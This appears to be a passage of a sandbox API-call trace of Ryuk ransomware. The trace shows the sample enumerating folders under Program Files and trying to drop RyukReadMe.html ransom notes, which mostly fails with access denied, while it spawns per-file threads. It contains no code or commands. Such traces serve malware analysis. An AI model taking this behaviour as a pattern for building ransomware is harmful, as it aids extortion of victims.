	[0175.025] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1
	[0175.025] SetLastError (dwErrCode=0x0) 
	[0175.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.026] GetLastError () returned 0x5
	[0175.026] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0175.027] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.027] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0175.027] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0175.027] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1
	[0175.027] SetLastError (dwErrCode=0x0) 
	[0175.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.028] GetLastError () returned 0x5
	[0175.028] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0175.028] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.028] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0175.030] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0175.030] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0175.030] SetLastError (dwErrCode=0x0) 
	[0175.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.030] GetLastError () returned 0x5
	[0175.030] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218bbf8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218bbf8, lpOverlapped=0x0) returned 0
	[0175.031] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*", lpFindFileData=0x218b580 | out: lpFindFileData=0x218b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c750
	[0175.031] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218b580 | out: lpFindFileData=0x218b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0175.031] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218b580 | out: lpFindFileData=0x218b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0xb6, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1
	[0175.031] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0175.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c
	[0175.035] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.036] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218b580 | out: lpFindFileData=0x218b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0xb6, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0
	[0175.036] FindClose (in: hFindFile=0x7c750 | out: hFindFile=0x7c750) returned 1
	[0175.036] SetLastError (dwErrCode=0x0) 
	[0175.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.036] GetLastError () returned 0x5
	[0175.036] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218bbf8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218bbf8, lpOverlapped=0x0) returned 0
	[0175.037] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.037] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0xae, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1
	[0175.037] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0xae, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1
	[0175.037] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0xae, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0
	[0175.037] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0175.037] SetLastError (dwErrCode=0x0) 
	[0175.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.038] GetLastError () returned 0x5
	[0175.038] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0175.038] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.038] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0
	[0175.038] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0175.038] SetLastError (dwErrCode=0x0) 
	[0175.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.039] GetLastError () returned 0x5
	[0175.039] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0175.039] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.039] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0
	[0175.039] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0175.040] SetLastError (dwErrCode=0x0) 
	[0175.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.040] GetLastError () returned 0x5
	[0175.040] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0175.040] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.040] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0
	[0175.041] FindClose (in: hFindFile=0x7bf70 | out: hFindFile=0x7bf70) returned 1
	[0175.041] SetLastError (dwErrCode=0x0) 
	[0175.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.041] GetLastError () returned 0x5
	[0175.041] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0175.041] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.042] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34d07760, ftCreationTime.dwHighDateTime=0x1d59eee, ftLastAccessTime.dwLowDateTime=0xd4efa120, ftLastAccessTime.dwHighDateTime=0x1d55462, ftLastWriteTime.dwLowDateTime=0xd4efa120, ftLastWriteTime.dwHighDateTime=0x1d55462, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x40, dwReserved1=0x0, cFileName="notepad.exe", cAlternateFileName="")) returned 1
	[0175.324] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704cfd00, ftCreationTime.dwHighDateTime=0x1d5600e, ftLastAccessTime.dwLowDateTime=0xc8a3de80, ftLastAccessTime.dwHighDateTime=0x1d5a427, ftLastWriteTime.dwLowDateTime=0xc8a3de80, ftLastWriteTime.dwHighDateTime=0x1d5a427, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x40, dwReserved1=0x0, cFileName="profile accepting clark.exe", cAlternateFileName="PROFIL~1.EXE")) returned 1
	[0175.324] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0175.325] SetLastError (dwErrCode=0x0) 
	[0175.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.325] GetLastError () returned 0x5
	[0175.325] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0175.325] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.326] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*.*", lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0175.326] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0175.326] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x5a, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1
	[0175.326] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86a0000
	[0175.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990
	[0175.330] VirtualFree (lpAddress=0x86a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.330] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x5a, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0
	[0175.331] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0175.331] SetLastError (dwErrCode=0x0) 
	[0175.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\services\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.331] GetLastError () returned 0x5
	[0175.331] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0175.331] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.331] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1
	[0175.332] SetLastError (dwErrCode=0x0) 
	[0175.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.332] GetLastError () returned 0x5
	[0175.332] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0175.332] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.332] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*.*", lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0175.332] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0175.333] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0175.333] SetLastError (dwErrCode=0x0) 
	[0175.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.333] GetLastError () returned 0x5
	[0175.333] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0175.333] CloseHandle (hObject=0xffffffffffffffff) returned 0
